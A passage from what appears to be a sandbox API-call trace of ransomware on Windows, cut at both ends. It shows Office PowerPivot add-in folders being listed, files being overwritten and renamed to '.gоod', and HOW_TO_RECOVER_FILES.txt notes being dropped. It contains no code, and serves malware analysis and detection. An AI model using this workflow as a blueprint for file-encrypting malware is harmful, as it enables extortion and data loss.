ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0258.827] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e30870, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e30870, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0258.827] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c62325, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c62325, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c62325, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0258.827] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd09866, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd09866, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0258.828] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x97efe5f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x97efe5f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x981606a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0258.828] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x97efe5f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x97efe5f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x981606a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0258.828] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0258.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0258.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0258.828] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0258.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0258.828] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x37c4e00 | out: lpFileInformation=0x37c4e00*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112a)) returned 1 [0258.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0258.828] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0258.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0258.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0258.829] GetFileType (hFile=0x86c) returned 0x1 [0258.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0258.829] GetFileType (hFile=0x86c) returned 0x1 [0258.829] SetFilePointer (in: hFile=0x86c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0258.829] ReadFile (in: hFile=0x86c, lpBuffer=0x37c52b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x37c52b8*, lpNumberOfBytesRead=0x206ec9c8*=0x12a, lpOverlapped=0x0) returned 1 [0259.125] CloseHandle (hObject=0x86c) returned 1 [0259.155] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0259.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0259.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0259.331] GetFileType (hFile=0x828) returned 0x1 [0259.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0259.331] GetFileType (hFile=0x828) returned 0x1 [0263.367] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x112a [0263.367] WriteFile (in: hFile=0x828, lpBuffer=0x3a64860*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3a64860*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0263.368] CloseHandle (hObject=0x828) returned 1 [0263.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0263.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0263.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0263.368] GetFileType (hFile=0x828) returned 0x1 [0263.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0263.368] GetFileType (hFile=0x828) returned 0x1 [0263.368] ReadFile (in: hFile=0x828, lpBuffer=0x3a66b70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3a66b70*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0263.396] CloseHandle (hObject=0x828) returned 1 [0263.396] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0263.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0263.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0263.397] GetFileType (hFile=0x828) returned 0x1 [0263.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0263.397] GetFileType (hFile=0x828) returned 0x1 [0263.397] WriteFile (in: hFile=0x828, lpBuffer=0x3a65878*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3a65878*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0263.397] CloseHandle (hObject=0x828) returned 1 [0263.397] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0263.397] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0263.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0263.397] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9934cfe0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x113a)) returned 1 [0263.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0263.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\localizedstrings.xml.gоod")) returned 1 [0263.400] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0263.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0263.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0265.610] GetFileType (hFile=0x824) returned 0x1 [0265.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0265.610] GetFileType (hFile=0x824) returned 0x1 [0265.610] WriteFile (in: hFile=0x824, lpBuffer=0x3948b88*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3948b88*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0265.611] CloseHandle (hObject=0x824) returned 1 [0265.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0265.611] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr", lpFilePart=0x0) returned 0x51 [0265.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0265.612] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.612] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0265.612] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f92917, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f92917, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3fb8b54, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0265.612] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc34bb5b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0265.612] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0265.612] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6cdf4b7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6cdf4b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cdf4b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x202030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0265.613] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0265.613] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0265.613] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf458770a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45d3b76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0265.613] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8502274, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8502274, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0265.613] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b3aadd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b3aadd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0265.613] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0265.613] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d50bdc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d50bdc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d50bdc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0265.614] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37d2e47, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37d2e47, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0265.614] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x91f9f99, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x91f9f99, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0265.614] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0265.614] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0265.614] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0265.614] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: 